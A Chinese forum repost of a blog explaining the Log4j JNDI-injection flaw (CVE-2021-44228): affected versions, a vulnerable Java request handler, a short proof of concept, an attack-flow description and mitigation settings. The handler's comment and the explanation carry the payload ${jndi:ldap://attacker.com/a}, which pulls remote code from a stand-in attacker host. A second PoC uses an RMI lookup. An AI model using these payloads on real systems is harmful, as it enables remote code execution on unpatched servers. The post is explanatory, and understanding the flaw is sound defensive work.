[编程代码] Apache Log4j 漏洞(JNDI注入 CVE-2021-44228)

4629 0
黑夜隐士 2021-12-13 08:10:11 | 显示全部楼层 |阅读模式

漏洞

1

影响范围

  1. <code>2.0 <= Apache log4j <= 2.14.1
复制代码

利用

  1. import org.apache.log4j.Logger;
  2. import java.io.*;
  3. import java.sql.SQLException;
  4. import java.util.*;
  5. public class VulnerableLog4jExampleHandler implements HttpHandler {
  6. static Logger log = Logger.getLogger(log4jExample.class.getName());
  7. /**
  8. * A simple HTTP endpoint that reads the request's User Agent and logs it back.
  9. * This is basically pseudo-code to explain the vulnerability, and not a full example.
  10. * @param he HTTP Request Object
  11. */
  12. public void handle(HttpExchange he) throws IOException {
  13. string userAgent = he.getRequestHeader("user-agent");
  14. // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
  15. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
  16. log.info("Request User Agent:" + userAgent);
  17. String response = "<h1>Hello There, " + userAgent + "!</h1>";
  18. he.sendResponseHeaders(200, response.length());
  19. OutputStream os = he.getResponseBody();
  20. os.write(response.getBytes());
  21. os.close();
  22. }
  23. }
复制代码

Data from the User gets sent to the server (via any protocol),
The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

另一种方法:

  1. import org.apache.logging.log4j.Logger;
  2. import org.apache.logging.log4j.LogManager;
  3. public class Poc {
  4. private static final Logger log = LogManager.getLogger();
  5. public static void main(String[] args) {
  6. log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
  7. }
  8. }
复制代码

1

缓解方式

  1. <code>a、修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
  2. b、修改配置:log4j2.formatMsgNoLookups=True
  3. c、系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
复制代码

参考

https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q
https://github.com/welk1n/JNDI-Injection-Exploit
https://v2ex.com/t/821241


来源:https://blog.csdn.net/lilongsy/article/details/121859816
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行